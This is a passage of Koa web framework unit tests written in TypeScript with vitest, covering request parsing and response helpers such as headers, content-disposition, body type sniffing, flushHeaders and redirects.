    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.subdomains', () => {\n  it('should return subdomain array', () => {\n    const req = request();\n    req.header.host = 'tobi.ferrets.example.com';\n    req.app.subdomainOffset = 2;\n    assert.deepStrictEqual(req.subdomains, ['ferrets', 'tobi']);\n\n    req.app.subdomainOffset = 3;\n    assert.deepStrictEqual(req.subdomains, ['tobi']);\n  });\n\n  it('should work with no host present', () => {\n    const req = request();\n    assert.deepStrictEqual(req.subdomains, []);\n  });\n\n  it('should check if the host is an ip address, even with a port', () => {\n    const req = request();\n    req.header.host = '127.0.0.1:3000';\n    assert.deepStrictEqual(req.subdomains, []);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/type.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.type', () => {\n  it('should return type void of parameters', () => {\n    const req = request();\n    req.header['content-type'] = 'text/html; charset=utf-8';\n    assert.strictEqual(req.type, 'text/html');\n  });\n\n  it('should return empty string with no host present', () => {\n    const req = request();\n    assert.strictEqual(req.type, '');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/request/whatwg-url.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { request } from '../test-helpers/context.ts';\n\ndescribe('req.URL', () => {\n  it('should not throw when host is void', () => {\n    // Accessing the URL should not throw.\n    assert.ok(request().URL);\n  });\n\n  it('should not throw when header.host is invalid', () => {\n    const req = request();\n    req.header.host = 'invalid host';\n    // Accessing the URL should not throw.\n    assert.ok(req.URL);\n  });\n\n  it('should return empty object when invalid', () => {\n    const req = request();\n    req.header.host = 'invalid host';\n    assert.deepEqual(req.URL, Object.create(null));\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/append.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.append(name, val)', () => {\n  it('should append multiple headers', () => {\n    const ctx = context();\n    ctx.append('x-foo', 'bar1');\n    ctx.append('x-foo', 'bar2');\n    assert.deepStrictEqual(ctx.response.header['x-foo'], ['bar1', 'bar2']);\n  });\n\n  it('should accept array of values', () => {\n    const ctx = context();\n\n    ctx.append('Set-Cookie', ['foo=bar', 'fizz=buzz']);\n    ctx.append('Set-Cookie', 'hi=again');\n    assert.deepStrictEqual(ctx.response.header['set-cookie'], ['foo=bar', 'fizz=buzz', 'hi=again']);\n  });\n\n  it('should get reset by res.set(field, val)', () => {\n    const ctx = context();\n\n    ctx.append('Link', '<http://localhost/>');\n    ctx.append('Link', '<http://localhost:80/>');\n\n    ctx.set('Link', '<http://127.0.0.1/>');\n\n    assert.strictEqual(ctx.response.header.link, '<http://127.0.0.1/>');\n  });\n\n  it('should work with res.set(field, val) first', () => {\n    const ctx = context();\n\n    ctx.set('Link', '<http://localhost/>');\n    ctx.append('Link', '<http://localhost:80/>');\n\n    assert.deepStrictEqual(ctx.response.header.link, ['<http://localhost/>', '<http://localhost:80/>']);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/attachment.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.attachment([filename])', () => {\n  describe('when given a filename', () => {\n    it('should set the filename param', () => {\n      const ctx = context();\n      ctx.attachment('path/to/tobi.png');\n      const str = 'attachment; filename=\"tobi.png\"';\n      assert.equal(ctx.response.header['content-disposition'], str);\n    });\n  });\n\n  describe('when omitting filename', () => {\n    it('should not set filename param', () => {\n      const ctx = context();\n      ctx.attachment();\n      assert.equal(ctx.response.header['content-disposition'], 'attachment');\n    });\n  });\n\n  describe('when given a non-ascii filename', () => {\n    it('should set the encodeURI filename param', () => {\n      const ctx = context();\n      ctx.attachment('path/to/include-no-ascii-char-中文名-ok.png');\n      const str =\n        'attachment; filename=\"include-no-ascii-char-???-ok.png\"; filename*=UTF-8\\'\\'include-no-ascii-char-%E4%B8%AD%E6%96%87%E5%90%8D-ok.png';\n      assert.equal(ctx.response.header['content-disposition'], str);\n    });\n\n    it('should work with http client', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.attachment('path/to/include-no-ascii-char-中文名-ok.json');\n        ctx.body = { foo: 'bar' };\n      });\n\n      return request(app.callback())\n        .get('/')\n        .expect(\n          'content-disposition',\n          'attachment; filename=\"include-no-ascii-char-???-ok.json\"; filename*=UTF-8\\'\\'include-no-ascii-char-%E4%B8%AD%E6%96%87%E5%90%8D-ok.json',\n        )\n        .expect({ foo: 'bar' })\n        .expect(200);\n    });\n  });\n});\n\n// reference test case of content-disposition module\ndescribe('contentDisposition(filename, options)', () => {\n  describe('with \"fallback\" option', () => {\n    it('should require a string or Boolean', () => {\n      const ctx = context();\n      assert.throws(() => {\n        // oxlint-disable-next-line typescript/no-explicit-any\n        ctx.attachment('plans.pdf', { fallback: 42 } as any);\n      }, /fallback.*string/);\n    });\n\n    it('should default to true', () => {\n      const ctx = context();\n      ctx.attachment('€ rates.pdf');\n      assert.equal(\n        ctx.response.header['content-disposition'],\n        'attachment; filename=\"? rates.pdf\"; filename*=UTF-8\\'\\'%E2%82%AC%20rates.pdf',\n      );\n    });\n\n    describe('when \"false\"', () => {\n      it('should not generate ISO-8859-1 fallback', () => {\n        const ctx = context();\n        ctx.attachment('£ and € rates.pdf', { fallback: false });\n        assert.equal(\n          ctx.response.header['content-disposition'],\n          \"attachment; filename*=UTF-8''%C2%A3%20and%20%E2%82%AC%20rates.pdf\",\n        );\n      });\n\n      it('should keep ISO-8859-1 filename', () => {\n        const ctx = context();\n        ctx.attachment('£ rates.pdf', { fallback: false });\n        assert.equal(ctx.response.header['content-disposition'], 'attachment; filename=\"£ rates.pdf\"');\n      });\n    });\n\n    describe('when \"true\"', () => {\n      it('should generate ISO-8859-1 fallback', () => {\n        const ctx = context();\n        ctx.attachment('£ and € rates.pdf', { fallback: true });\n        assert.equal(\n          ctx.response.header['content-disposition'],\n          'attachment; filename=\"£ and ? rates.pdf\"; filename*=UTF-8\\'\\'%C2%A3%20and%20%E2%82%AC%20rates.pdf',\n        );\n      });\n\n      it('should pass through ISO-8859-1 filename', () => {\n        const ctx = context();\n        ctx.attachment('£ rates.pdf', { fallback: true });\n        assert.equal(ctx.response.header['content-disposition'], 'attachment; filename=\"£ rates.pdf\"');\n      });\n    });\n\n    describe('when a string', () => {\n      it('should require an ISO-8859-1 string', () => {\n        const ctx = context();\n        assert.throws(() => {\n          ctx.attachment('€ rates.pdf', { fallback: '€ rates.pdf' });\n        }, /fallback.*iso-8859-1/i);\n      });\n\n      it('should use as ISO-8859-1 fallback', () => {\n        const ctx = context();\n        ctx.attachment('£ and € rates.pdf', {\n          fallback: '£ and EURO rates.pdf',\n        });\n        assert.equal(\n          ctx.response.header['content-disposition'],\n          'attachment; filename=\"£ and EURO rates.pdf\"; filename*=UTF-8\\'\\'%C2%A3%20and%20%E2%82%AC%20rates.pdf',\n        );\n      });\n\n      it('should use as fallback even when filename is ISO-8859-1', () => {\n        const ctx = context();\n        ctx.attachment('\"£ rates\".pdf', { fallback: '£ rates.pdf' });\n        assert.equal(\n          ctx.response.header['content-disposition'],\n          'attachment; filename=\"£ rates.pdf\"; filename*=UTF-8\\'\\'%22%C2%A3%20rates%22.pdf',\n        );\n      });\n\n      it('should do nothing if equal to filename', () => {\n        const ctx = context();\n        ctx.attachment('plans.pdf', { fallback: 'plans.pdf' });\n        assert.equal(ctx.response.header['content-disposition'], 'attachment; filename=\"plans.pdf\"');\n      });\n\n      it('should use the basename of the string', () => {\n        const ctx = context();\n        ctx.attachment('€ rates.pdf', { fallback: '/path/to/EURO rates.pdf' });\n        assert.equal(\n          ctx.response.header['content-disposition'],\n          'attachment; filename=\"EURO rates.pdf\"; filename*=UTF-8\\'\\'%E2%82%AC%20rates.pdf',\n        );\n      });\n\n      it('should do nothing without filename option', () => {\n        const ctx = context();\n        ctx.attachment(undefined, { fallback: 'plans.pdf' });\n        assert.equal(ctx.response.header['content-disposition'], 'attachment');\n      });\n    });\n  });\n\n  describe('with \"type\" option', () => {\n    it('should default to attachment', () => {\n      const ctx = context();\n      ctx.attachment();\n      assert.equal(ctx.response.header['content-disposition'], 'attachment');\n    });\n\n    it('should require a string', () => {\n      const ctx = context();\n      assert.throws(() => {\n        // oxlint-disable-next-line typescript/no-explicit-any\n        ctx.attachment(undefined, { type: 42 } as any);\n      }, /invalid type/);\n    });\n\n    it('should require a valid type', () => {\n      const ctx = context();\n      assert.throws(() => {\n        ctx.attachment(undefined, { type: 'invlaid;type' });\n      }, /invalid type/);\n    });\n\n    it('should create a header with inline type', () => {\n      const ctx = context();\n      ctx.attachment(undefined, { type: 'inline' });\n      assert.equal(ctx.response.header['content-disposition'], 'inline');\n    });\n\n    it('should create a header with inline type and filename', () => {\n      const ctx = context();\n      ctx.attachment('plans.pdf', { type: 'inline' });\n      assert.equal(ctx.response.header['content-disposition'], 'inline; filename=\"plans.pdf\"');\n    });\n\n    it('should normalize type', () => {\n      const ctx = context();\n      ctx.attachment(undefined, { type: 'INLINE' });\n      assert.equal(ctx.response.header['content-disposition'], 'inline');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/body.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs';\nimport Stream from 'node:stream';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.body=', () => {\n  describe('when Content-Type is set', () => {\n    it('should not override', () => {\n      const res = response();\n      res.type = 'png';\n      res.body = Buffer.from('something');\n      assert.strictEqual('image/png', res.header['content-type']);\n    });\n\n    describe('when body is an object', () => {\n      it('should override as json', () => {\n        const res = response();\n\n        res.body = '<em>hey</em>';\n        assert.strictEqual('text/html; charset=utf-8', res.header['content-type']);\n\n        res.body = { foo: 'bar' };\n        assert.strictEqual('application/json; charset=utf-8', res.header['content-type']);\n      });\n    });\n\n    it('should override length', () => {\n      const res = response();\n      res.type = 'html';\n      res.body = 'something';\n      assert.strictEqual(res.length, 9);\n    });\n  });\n\n  describe('when a string is given', () => {\n    it('should default to text', () => {\n      const res = response();\n      res.body = 'Tobi';\n      assert.strictEqual('text/plain; charset=utf-8', res.header['content-type']);\n    });\n\n    it('should set length', () => {\n      const res = response();\n      res.body = 'Tobi';\n      assert.strictEqual('4', res.header['content-length']);\n    });\n\n    describe('and contains a non-leading <', () => {\n      it('should default to text', () => {\n        const res = response();\n        res.body = 'aklsdjf < klajsdlfjasd';\n        assert.strictEqual('text/plain; charset=utf-8', res.header['content-type']);\n      });\n    });\n  });\n\n  describe('when an html string is given', () => {\n    it('should default to html', () => {\n      const res = response();\n      res.body = '<h1>Tobi</h1>';\n      assert.strictEqual('text/html; charset=utf-8', res.header['content-type']);\n    });\n\n    it('should set length', () => {\n      const string = '<h1>Tobi</h1>';\n      const res = response();\n      res.body = string;\n      assert.strictEqual(res.length, Buffer.byteLength(string));\n    });\n\n    it('should set length when body is overridden', () => {\n      const string = '<h1>Tobi</h1>';\n      const res = response();\n      res.body = string;\n      res.body = string + string;\n      assert.strictEqual(res.length, 2 * Buffer.byteLength(string));\n    });\n\n    describe('when it contains leading whitespace', () => {\n      it('should default to html', () => {\n        const res = response();\n        res.body = ' '.repeat(10_000_000) + '\\t\\r\\n<h1>Tobi</h1>';\n        assert.strictEqual('text/html; charset=utf-8', res.header['content-type']);\n      });\n    });\n  });\n\n  describe('when an xml string is given', () => {\n    it('should default to html', () => {\n      /**\n       * ctx test is to show that we're not going\n       * to be stricter with the html sniff\n       * or that we will sniff other string types.\n       * You should `.type=` if ctx simple test fails.\n       */\n\n      const res = response();\n      res.body = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n<俄语>данные</俄语>';\n      assert.strictEqual('text/html; charset=utf-8', res.header['content-type']);\n    });\n  });\n\n  describe('when a stream is given', () => {\n    it('should default to an octet stream', () => {\n      const res = response();\n      res.body = fs.createReadStream('LICENSE');\n      assert.strictEqual('application/octet-stream', res.header['content-type']);\n    });\n\n    it('should add error handler to the stream, but only once', () => {\n      const res = response();\n      const body = new Stream.PassThrough();\n      assert.strictEqual(body.listenerCount('error'), 0);\n      res.body = body;\n      assert.strictEqual(body.listenerCount('error'), 1);\n      res.body = body;\n      assert.strictEqual(body.listenerCount('error'), 1);\n    });\n  });\n\n  describe('when a buffer is given', () => {\n    it('should default to an octet stream', () => {\n      const res = response();\n      res.body = Buffer.from('hey');\n      assert.strictEqual('application/octet-stream', res.header['content-type']);\n    });\n\n    it('should set length', () => {\n      const res = response();\n      res.body = Buffer.from('Tobi');\n      assert.strictEqual('4', res.header['content-length']);\n    });\n  });\n\n  describe('when an object is given', () => {\n    it('should default to json', () => {\n      const res = response();\n      res.body = { foo: 'bar' };\n      assert.strictEqual('application/json; charset=utf-8', res.header['content-type']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/etag.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.etag=', () => {\n  it('should not modify an etag with quotes', () => {\n    const res = response();\n    res.etag = '\"asdf\"';\n    assert.strictEqual(res.header.etag, '\"asdf\"');\n  });\n\n  it('should not modify a weak etag', () => {\n    const res = response();\n    res.etag = 'W/\"asdf\"';\n    assert.strictEqual(res.header.etag, 'W/\"asdf\"');\n  });\n\n  it('should add quotes around an etag if necessary', () => {\n    const res = response();\n    res.etag = 'asdf';\n    assert.strictEqual(res.header.etag, '\"asdf\"');\n  });\n});\n\ndescribe('res.etag', () => {\n  it('should return etag', () => {\n    const res = response();\n    res.etag = '\"asdf\"';\n    assert.strictEqual(res.etag, '\"asdf\"');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/flushHeaders.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { once } from 'node:events';\nimport http from 'node:http';\nimport type { AddressInfo } from 'node:net';\nimport { PassThrough } from 'node:stream';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa, { type Context } from '../../src/index.ts';\n\ndescribe('ctx.flushHeaders()', () => {\n  it('should set headersSent', () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.body = 'Body';\n      ctx.status = 200;\n      ctx.flushHeaders();\n      assert.strictEqual(ctx.res.headersSent, true);\n    });\n\n    const server = app.listen();\n\n    return request(server).get('/').expect(200).expect('Body');\n  });\n\n  it('should allow a response afterwards', () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.status = 200;\n      ctx.res.setHeader('Content-Type', 'text/plain');\n      ctx.flushHeaders();\n      ctx.body = 'Body';\n    });\n\n    const server = app.listen();\n    return request(server).get('/').expect(200).expect('Content-Type', 'text/plain').expect('Body');\n  });\n\n  it('should send the correct status code', () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.status = 401;\n      ctx.res.setHeader('Content-Type', 'text/plain');\n      ctx.flushHeaders();\n      ctx.body = 'Body';\n    });\n\n    const server = app.listen();\n    return request(server).get('/').expect(401).expect('Content-Type', 'text/plain').expect('Body');\n  });\n\n  it('should ignore set header after flushHeaders', async () => {\n    const app = new Koa();\n\n    app.use((ctx: Context) => {\n      ctx.status = 401;\n      ctx.res.setHeader('Content-Type', 'text/plain');\n      ctx.flushHeaders();\n      ctx.body = 'foo';\n      ctx.set('X-Shouldnt-Work', 'Value');\n      ctx.remove('Content-Type');\n      ctx.vary('Content-Type');\n    });\n\n    const server = app.listen();\n    const res = await request(server).get('/').expect(401).expect('Content-Type', 'text/plain');\n\n    assert.strictEqual(res.headers['x-shouldnt-work'], undefined, 'header set after flushHeaders');\n    assert.strictEqual(res.headers.vary, undefined, 'header set after flushHeaders');\n  });\n\n  it('should flush headers first and delay to send data', async () => {\n    const app = new Koa();\n\n    app.use((ctx) => {\n      ctx.type = 'json';\n      ctx.status = 200;\n      ctx.headers.Link =\n        '</css/mycss.css>; as=style; rel=preload, <https://img.craftflair.com>; rel=preconnect; crossorigin';\n      const stream = new PassThrough();\n      ctx.body = stream;\n      ctx.flushHeaders();\n\n      setTimeout(() => {\n        stream.end(JSON.stringify({ message: 'hello!' }));\n      }, 10_000);\n    });\n\n    let resolve: () => void;\n    let reject: (err: Error) => void;\n    // oxlint-disable-next-line avoid-new\n    const promise = new Promise<void>((_resolve, _reject) => {\n      resolve = _resolve;\n      reject = _reject;\n    });\n\n    // oxlint-disable-next-line promise/prefer-await-to-callbacks\n    const server = app.listen((err: Error) => {\n      if (err) return reject(err);\n\n      const port = (server.address() as AddressInfo).port;\n\n      http\n        .request({\n          port,\n        })\n        .on('response', (res) => {\n          const onData = () => reject(new Error('boom'));\n          res.on('data', onData);\n\n          // shouldn't receive any data for a while\n          setTimeout(() => {\n            res.removeListener('data', onData);\n            resolve();\n          }, 1000);\n        })\n        .on('error', reject)\n        .end();\n    });\n\n    await promise;\n  });\n\n  it('should catch stream error', async () => {\n    const app = new Koa();\n    app.once('error', (err) => {\n      assert.equal(err.message, 'mock error');\n    });\n\n    app.use((ctx) => {\n      ctx.type = 'json';\n      ctx.status = 200;\n      ctx.headers.Link =\n        '</css/mycss.css>; as=style; rel=preload, <https://img.craftflair.com>; rel=preconnect; crossorigin';\n      ctx.length = 20;\n      ctx.flushHeaders();\n      const stream = new PassThrough();\n      ctx.body = stream;\n\n      setTimeout(() => {\n        stream.emit('error', new Error('mock error'));\n      }, 100);\n    });\n\n    const server = app.listen();\n\n    request(server)\n      .get('/')\n      .end(() => {\n        // ignore\n      });\n\n    const [err] = await once(app, 'error');\n    assert.equal(err.message, 'mock error');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/has.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.response.has(name)', () => {\n  it('should check a field value, case insensitive way', () => {\n    const ctx = context();\n    ctx.set('X-Foo', '');\n    assert.ok(ctx.response.has('x-Foo'));\n    assert.ok(ctx.has('x-foo'));\n  });\n\n  it('should return false for non-existent header', () => {\n    const ctx = context();\n    assert.strictEqual(ctx.response.has('boo'), false);\n    ctx.set('x-foo', 5);\n    assert.strictEqual(ctx.has('x-boo'), false);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/header.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.header', () => {\n  it('should return the response header object', () => {\n    const res = response();\n    res.set('X-Foo', 'bar');\n    res.set('X-Number', 200);\n    assert.deepEqual(res.header, { 'x-foo': 'bar', 'x-number': '200' });\n  });\n\n  it('should use res.getHeaders() accessor when available', () => {\n    const res = response();\n    // @ts-expect-error for testing\n    res.res._headers = null;\n    res.res.getHeaders = () => ({ 'x-foo': 'baz' });\n    assert.deepEqual(res.header, { 'x-foo': 'baz' });\n  });\n\n  it('should return the response header object when no mocks are in use', async () => {\n    const app = new Koa();\n    let header;\n\n    app.use((ctx) => {\n      ctx.set('x-foo', '42');\n      header = { ...ctx.response.header };\n    });\n\n    await request(app.callback()).get('/');\n\n    assert.deepEqual(header, { 'x-foo': '42' });\n  });\n\n  describe('when res._headers not present', () => {\n    it('should return empty object', () => {\n      const res = response();\n      // @ts-expect-error for testing\n      res.res._headers = null;\n      assert.deepEqual(res.header, {});\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/headers.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.header', () => {\n  it('should return the response header object', () => {\n    const res = response();\n    res.set('X-Foo', 'bar');\n    assert.deepEqual(res.headers, { 'x-foo': 'bar' });\n  });\n\n  describe('when res._headers not present', () => {\n    it('should return empty object', () => {\n      const res = response();\n      // @ts-expect-error for testing\n      res.res._headers = null;\n      assert.deepEqual(res.headers, {});\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/inspect.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport util from 'node:util';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.inspect()', () => {\n  describe('with no response.res present', () => {\n    it('should return null', () => {\n      const res = response();\n      res.body = 'hello';\n      // @ts-expect-error for testing\n      delete res.res;\n      assert.equal(res.inspect(), undefined);\n      assert.equal(util.inspect(res), 'undefined');\n    });\n  });\n\n  it('should return a json representation', () => {\n    const res = response();\n    res.body = 'hello';\n\n    const expected = {\n      status: 200,\n      message: 'OK',\n      header: {\n        'content-type': 'text/plain; charset=utf-8',\n        'content-length': '5',\n      },\n      body: 'hello',\n    };\n\n    assert.deepEqual(res.inspect(), expected);\n    assert.deepEqual(util.inspect(res), util.inspect(expected));\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/is.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport context from '../test-helpers/context.ts';\n\ndescribe('response.is(type)', () => {\n  it('should ignore params', () => {\n    const res = context().response;\n    res.type = 'text/html; charset=utf-8';\n\n    assert.strictEqual(res.is('text/*'), 'text/html');\n  });\n\n  describe('when no type is set', () => {\n    it('should return false', () => {\n      const res = context().response;\n\n      assert.strictEqual(res.is(), false);\n      assert.strictEqual(res.is('html'), false);\n    });\n  });\n\n  describe('when given no types', () => {\n    it('should return the type', () => {\n      const res = context().response;\n      res.type = 'text/html; charset=utf-8';\n\n      assert.strictEqual(res.is(), 'text/html');\n    });\n  });\n\n  describe('given one type', () => {\n    it('should return the type or false', () => {\n      const res = context().response;\n      res.type = 'image/png';\n\n      assert.strictEqual(res.is('png'), 'png');\n      assert.strictEqual(res.is('.png'), '.png');\n      assert.strictEqual(res.is('image/png'), 'image/png');\n      assert.strictEqual(res.is('image/*'), 'image/png');\n      assert.strictEqual(res.is('*/png'), 'image/png');\n\n      assert.strictEqual(res.is('jpeg'), false);\n      assert.strictEqual(res.is('.jpeg'), false);\n      assert.strictEqual(res.is('image/jpeg'), false);\n      assert.strictEqual(res.is('text/*'), false);\n      assert.strictEqual(res.is('*/jpeg'), false);\n    });\n  });\n\n  describe('given multiple types', () => {\n    it('should return the first match or false', () => {\n      const res = context().response;\n      res.type = 'image/png';\n\n      assert.strictEqual(res.is('png'), 'png');\n      assert.strictEqual(res.is('.png'), '.png');\n      assert.strictEqual(res.is('text/*', 'image/*'), 'image/png');\n      assert.strictEqual(res.is('image/*', 'text/*'), 'image/png');\n      assert.strictEqual(res.is('image/*', 'image/png'), 'image/png');\n      assert.strictEqual(res.is('image/png', 'image/*'), 'image/png');\n\n      assert.strictEqual(res.is(['text/*', 'image/*']), 'image/png');\n      assert.strictEqual(res.is(['image/*', 'text/*']), 'image/png');\n      assert.strictEqual(res.is(['image/*', 'image/png']), 'image/png');\n      assert.strictEqual(res.is(['image/png', 'image/*']), 'image/png');\n\n      assert.strictEqual(res.is('jpeg'), false);\n      assert.strictEqual(res.is('.jpeg'), false);\n      assert.strictEqual(res.is('text/*', 'application/*'), false);\n      assert.strictEqual(res.is('text/html', 'text/plain', 'application/json; charset=utf-8'), false);\n    });\n  });\n\n  describe('when Content-Type: application/x-www-form-urlencoded', () => {\n    it('should match \"urlencoded\"', () => {\n      const res = context().response;\n      res.type = 'application/x-www-form-urlencoded';\n\n      assert.strictEqual(res.is('urlencoded'), 'urlencoded');\n      assert.strictEqual(res.is('json', 'urlencoded'), 'urlencoded');\n      assert.strictEqual(res.is('urlencoded', 'json'), 'urlencoded');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/last-modified.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.lastModified', () => {\n  it('should set the header as a UTCString', () => {\n    const res = response();\n    const date = new Date();\n    res.lastModified = date;\n    assert.strictEqual(res.header['last-modified'], date.toUTCString());\n  });\n\n  it('should work with date strings', () => {\n    const res = response();\n    const date = new Date();\n    res.lastModified = date.toString();\n    assert.strictEqual(res.header['last-modified'], date.toUTCString());\n  });\n\n  it('should get the header as a Date', () => {\n    // Note: Date() removes milliseconds, but it's practically important.\n    const res = response();\n    const date = new Date();\n    res.lastModified = date;\n    assert.strictEqual(res.lastModified.getTime() / 1000, Math.floor(date.getTime() / 1000));\n  });\n\n  describe('when lastModified not set', () => {\n    it('should get undefined', () => {\n      const res = response();\n      assert.strictEqual(res.lastModified, undefined);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/length.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.length', () => {\n  describe('when Content-Length is defined', () => {\n    it('should return a number', () => {\n      const res = response();\n      res.set('Content-Length', '1024');\n      assert.strictEqual(res.length, 1024);\n    });\n\n    describe('but not number', () => {\n      it('should return 0', () => {\n        const res = response();\n        res.set('Content-Length', 'hey');\n        assert.strictEqual(res.length, 0);\n      });\n    });\n  });\n\n  describe('when Content-Length is not defined', () => {\n    describe('and a .body is set', () => {\n      it('should return a number', () => {\n        const res = response();\n\n        res.body = 'foo';\n        res.remove('Content-Length');\n        assert.strictEqual(res.length, 3);\n\n        res.body = 'foo';\n        assert.strictEqual(res.length, 3);\n\n        res.body = Buffer.from('foo bar');\n        res.remove('Content-Length');\n        assert.strictEqual(res.length, 7);\n\n        res.body = Buffer.from('foo bar');\n        assert.strictEqual(res.length, 7);\n\n        res.body = { hello: 'world' };\n        res.remove('Content-Length');\n        assert.strictEqual(res.length, 17);\n\n        res.body = { hello: 'world' };\n        assert.strictEqual(res.length, 17);\n\n        res.body = fs.createReadStream('package.json');\n        assert.strictEqual(res.length, undefined);\n\n        res.body = null;\n        assert.strictEqual(res.length, undefined);\n      });\n    });\n\n    describe('and .body is not', () => {\n      it('should return undefined', () => {\n        const res = response();\n        assert.strictEqual(res.length, undefined);\n      });\n    });\n  });\n});\n\ndescribe('res.length=', () => {\n  it('should set when Transfer-Encoding not present', () => {\n    const res = response();\n    res.length = 100;\n    assert.strictEqual(res.length, 100);\n    res.length = undefined;\n    assert.strictEqual(res.length, 100);\n  });\n\n  it('should not set when Transfer-Encoding present', () => {\n    const res = response();\n    res.set('Transfer-Encoding', 'chunked');\n    res.length = 100;\n    assert.strictEqual(res.length, undefined);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/message.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { response } from '../test-helpers/context.ts';\n\ndescribe('res.message', () => {\n  it('should return the response status message', () => {\n    const res = response();\n    res.status = 200;\n    assert.equal(res.message, 'OK');\n  });\n\n  describe('when res.message not present', () => {\n    it('should look up in statuses', () => {\n      const res = response();\n      res.res.statusCode = 200;\n      assert.equal(res.message, 'OK');\n    });\n  });\n});\n\ndescribe('res.message=', () => {\n  it('should set response status message', () => {\n    const res = response();\n    res.status = 200;\n    res.message = 'ok';\n    assert.equal(res.res.statusMessage, 'ok');\n    assert.equal((res.inspect() as any)?.message, 'ok');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/response/redirect.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\nimport context from '../test-helpers/context.ts';\n\ndescribe('ctx.redirect(url)', () => {\n  it('should redirect to the given url', () => {\n    const ctx = context();\n    ctx.redirect('http://google.com');\n    assert.equal(ctx.response.header.location, 'http://google.com/');\n    assert.equal(ctx.status, 302);\n  });\n\n  it('should url formatting is required before redirect', () => {\n    const ctx = context();\n    ctx.redirect(String.raw`http://google.com\\@baidu.com`);\n    assert.equal(ctx.response.header.location, 'http://google.com/@baidu.com');\n    assert.equal(ctx.status, 302);\n  });\n\n  it('should auto fix not encode url', async () => {\n    const app = new Koa();\n\n    app.use((ctx) => {\n      ctx.redirect('https://google.com/😓?hello=你好(*´▽｀)ノノ&p=123&q=%F0%9F%98%93%3Fhello%3D%E4%BD%A0%E5%A5%BD%28');\n    });\n\n    const res = await request(app.callback()).get('/');\n    assert.equal(res.status, 302);\n    assert.equal(\n      res.headers.location,\n      'https://google.com/%F0%9F%98%93?hello=%E4%BD%A0%E5%A5%BD(*%C2%B4%E2%96%BD%EF%BD%80)%E3%83%8E%E3%83%8E&p=123&q=%F0%9F%98%93%3Fhello%3D%E4%BD%A0%E5%A5%BD%28',\n    );\n  });\n\n  describe('with \"back\"', () => {\n    it('should redirect to Referrer', () => {\n      const ctx = context({ url: '/', headers: { host: 'example.com' } });\n      ctx.req.headers.referrer = '/login';\n      ctx.redirect('back');\n      assert.equal(ctx.response.header.location, '/login');\n    });\n\n    it('should redirect to Referer with a relative path', () => {\n      const ctx = context({ url: '/', headers: { host: 'example.com' } });\n      ctx.req.headers.referer = '/login';\n      ctx.redirect('back');\n      assert.equal(ctx.response.header.location, '/login');\n    });\n\n    it('should redirect to Referer with a same origin url', () => {\n      const ctx = context({ url: '/', headers: { host: 'example.com', referer: 'https://example.com/login' } });\n      ctx.redirect('back');\n      assert.equal(ctx.response.header.location, 'https://example.com/login');\n    });\n\n    it('should default to alt', () => {\n      const ctx = context();\n      